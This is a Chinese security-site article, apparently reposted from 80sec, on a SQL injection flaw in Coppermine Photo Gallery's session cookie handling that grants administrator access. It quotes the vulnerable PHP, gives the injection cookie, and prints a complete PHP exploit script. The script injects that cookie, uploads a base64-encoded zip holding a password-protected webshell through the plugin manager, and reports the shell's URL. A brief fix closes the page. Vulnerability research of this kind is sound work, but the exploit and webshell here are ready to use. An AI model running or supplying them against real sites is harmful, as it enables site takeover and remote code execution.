主页 PC知识 网管技术 黑客帝国 安全技术 开放系统 程序设计 搜索 技术论坛

 

相关联接
 
RHU本级分类

新手入门
入侵实例
工具使用
安全防范
黑客人物
软件破解
漏洞研究

 
RHU阅读排行
·BMF-提升權限之旅
·亲身实践 不用密码进入XP系统的方法
·MS06070漏洞攻击代码
·如何利用终端服务入侵远程计算机
·博客入侵太简单 四大漏洞入侵博客
·IIS常见漏洞攻防实战
·DriverStudio Remote Control远程调用认证绕过漏洞及其利用研究
·利用ORACLE的system帐户默认口令提升权限
·NeTop+漏洞总结详细翻译文档
·OBLOG函数adodb_loadfile()暴库分析[终结]

 
 
RHU最新文章
·微软Windows WINS服务本地权限提升漏洞
·Coppermine Photo Gallery任意命令执行漏洞
·详解WINRAR的自解压跨站攻击漏洞
·[Advisory]迅雷ActiveX控件远程代码执行漏洞
·首页巡警v1.1/1.0 内核驱动 拒绝服务 及 本地提权漏洞
·Aruba Mobility Controller跨站脚本漏洞
·MyPhpAdmin 执行攻击者代码漏洞
·利用X-window配置错误入侵Linux(图)
·思科SCCP和SIP协议多个远程安全漏洞
·绕过现代Anti-Rookit工具的内核模块扫描(ZT)

 
 
RHU相关搜索









 
 
RHU广而告之

 
 
>您的位置:首页 -> 黑客帝国-> 漏洞研究
Coppermine Photo Gallery任意命令执行漏洞

作者:RHU-TAC编辑员 来自:RHU网络采集 时间:2008-6-23 双击滚屏 收藏本页 字体:


点击 查看RHU2004全年文章


Coppermine Photo Gallery任意命令执行漏洞
漏洞说明:Coppermine Photo Gallery是一款php+mysql搭建的广泛使用的相册程序,但是在编码过程中的一个错误导致任意用户可以提交数据而控制整个站点。
漏洞厂商http://coppermine-gallery.net/
漏洞发现http://www.80sec.com
漏洞危害:高
漏洞来源http://www.80sec.com/release/Coppermine-Photo-Gallery-exploit.txt

漏洞分析:

Coppermine Photo Gallery全局处理数据在include/init.inc.php中如下:

$HTML_SUBST = array('&' => '&', '"' => '"', '<' => ‘<’, ‘>’ => ‘>’, ‘%26′ => ‘&’, ‘%22′ => ‘"’, ‘%3C’ => ‘<’, ‘%3E’ => ‘>’,'%27′ => ‘'’, “‘” => ‘'’);

$keysToSkip = array(’_POST’, ‘_GET’, ‘_COOKIE’, ‘_REQUEST’, ‘_SERVER’, ‘HTML_SUBST’);

if (get_magic_quotes_gpc()) {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}

if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}

if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!is_array($value))
$_COOKIE[$key] = stripslashes($value);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
} else {
if (is_array($_POST)) {
foreach ($_POST as $key => $value) {
if (!is_array($value))
$_POST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}

if (is_array($_GET)) {
foreach ($_GET as $key => $value) {
unset($_GET[$key]);
$_GET[strtr(stripslashes($key), $HTML_SUBST)] = strtr(stripslashes($value), $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}

if (is_array($_COOKIE)) {
foreach ($_COOKIE as $key => $value) {
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
if (is_array($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (!is_array($value))
$_REQUEST[$key] = strtr($value, $HTML_SUBST);
if (!in_array($key, $keysToSkip) && isset($$key) && ini_get(’register_globals’) == ‘1′) unset($$key);
}
}
}

可以看到对COOKIE中的数据没有做任何处理,然后在处理用户SESSION-COOKIE的地方/bridge/coppermine.inc.php

$sessioncookie = $_COOKIE[$this->client_id];

// Create the session id by concat(session_cookie_value, client_id)
$session_id = $sessioncookie.$this->client_id;

……

// Check for valid session if session_cookie_value exists
if ($sessioncookie) {

// Check for valid session
$sql = ’select user_id from ‘.$this->sessionstable.’ where session_id=md5(”‘.$session_id.’”);’;

对session_id的操作的md5是在SQL语句里的,所以可以轻易Bypass,分析数据库结果和认证机制可以得出exploit的COOKIE为:

")union/**/select/**/1/*

只要提交如上COOKIE就可以获得管理员身份,然后就可以上传恶意文件得到站点权限

漏洞利用:80sec提供漏洞利用程序如下:

print_r("

+------------------------------------------------------------------+

Coppermine Photo Gallery SQL注射+命令执行漏洞
漏洞影响 version < 1.4.16
欢迎访问http://www.80sec.com
漏洞发现 jianxin#80sec.com

用法: php.exe exp.php www.80sec.com /cpg1416/

获得webshell地址在
http://www.80sec.com/cpg1416/plugins/loveshell.php
密码 shell
Good Luck :)

+------------------------------------------------------------------+
");

ini_set("max_execution_time",0);
error_reporting(7);

$blogpath="$argv[2]";
$server="$argv[1]";
$cookie='';

$evilzip="UEsDBBQAAAAIAGeTdDgKL31nOgAAADsAAAANAAAAbG92ZXNoZWxsLnBocLOxL8go4OVKLUvM0VCJD3INDHUNDolWL85IzclRj9W05uWyt+Pl8skvSwULKTjn56YWK3ikFqUqAgBQSwECFAAUAAAACABnk3Q4Ci99ZzoAAAA7AAAADQAAAAAAAAABACAAAAAAAAAAbG92ZXNoZWxsLnBocFBLBQYAAAAAAQABADsAAABlAAAAAAA=";

$evilzip=base64_decode($evilzip);

$data=<<
-----------------------------12345671234567
Content-Disposition: form-data; name="plugin"; filename="c:\\1.zip"
Content-Type: application/x-zip-compressed

$evilzip
-----------------------------12345671234567
www_80sec_com;

$temp=send('',"index.php");
preg_match_all('/Set-Cookie: ([a-f0-9]+)=/i',$temp,$cookiepre);

$cookiepre=$cookiepre[1][0];

if($cookiepre){
echo "Make Evil Data!\t\r\n";
$cookie=$cookiepre.'='.urlencode('")union/**/select/**/1/*;');
}

echo "Make Evil Shell!\t\r\n";
send($data,"pluginmgr.php?op=upload",'multipart/form-data; boundary=---------------------------12345671234567');

$shell="http://$server".$blogpath."plugins/loveshell.php";

echo "Look at $shell :)\r\n";
echo "Or login with cookie ".urlencode('")union/**/select/**/1/*;')."\r\n";

function send($cmd,$script,$type='')
{
global $blogpath,$server,$cookie,$count,$useragent,$debug,$evilip;

$type ? $content=$type : $content="application/x-www-form-urlencoded";

$path=$blogpath."$script";
$message = "POST ".$path." HTTP/1.1\r\n";
$message .= "Accept: */*\r\n";
$message .= "Accept-Language: zh-cn\r\n";
$message .= "Referer: http://".$server.$path."\r\n";
$message .= "Content-Type: $content\r\n";
$message .= "User-Agent: ".$useragent."\r\n";
$message .= "Host: ".$server."\r\n";
$message .= "Content-length: ".strlen($cmd)."\r\n";
$message .= "Connection: Keep-Alive\r\n";
$message .= "Cookie: ".$cookie."\r\n";
$message .= $evilip."\r\n";
$message .= $cmd."\r\n";

//echo $message;
$fd = fsockopen( $server, 80 );
fputs($fd,$message);
$resp = "

";
while($fd&&!feof($fd)) {
$resp .= fread($fd,1024);
}
fclose($fd);
$resp .="

“;
if($debug) {echo $cmd;echo $resp;}
//echo $resp;
return $resp;
}
?>

漏洞修复:将认证放到php中处理,即将上述问题语句改为

$sql = 'select user_id from '.$this->sessionstable." where session_id = '" . md5($session_id) . "'";
本站内容均为原创,转载请务必保留署名与链接!
Coppermine Photo Gallery任意命令执行漏洞http://www.80sec.com/coppermine-photo-gallery-exploit.html

OVER

[1] 页 RedHyphone.Union 投稿邮箱
[特别声明]:
本站文章大多搜索转载自网络中,如果侵犯了您的权利,请告之我们。本站将立即删除。
本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有。
查看评论】【向上滚屏】【关闭窗口】【 打印
-相关文章
  • 系统安全小技巧:组策略保障共享目录安全
  • 可执行文件的 MD5 碰撞
  • 实例讲解Cookies欺骗与session欺骗入侵
  • 巧论ARP攻击防制方法之虚虚实实
  • 经典入侵检测术语全接触
  • -文章评论 (关闭)
    ·还没有相关的评论!

    网上大名:
    红旋风网络技术联盟 RHUTech.Union
     
    Copyright © 2000-2007 RedHyphone.Union All Rights Reserved. 红旋风联盟版权所有.皖ICP备05011033号
    中国红旋风网络技术联盟 | www.RedHyphone.net
    Mailto:Redhyphone@gamil.com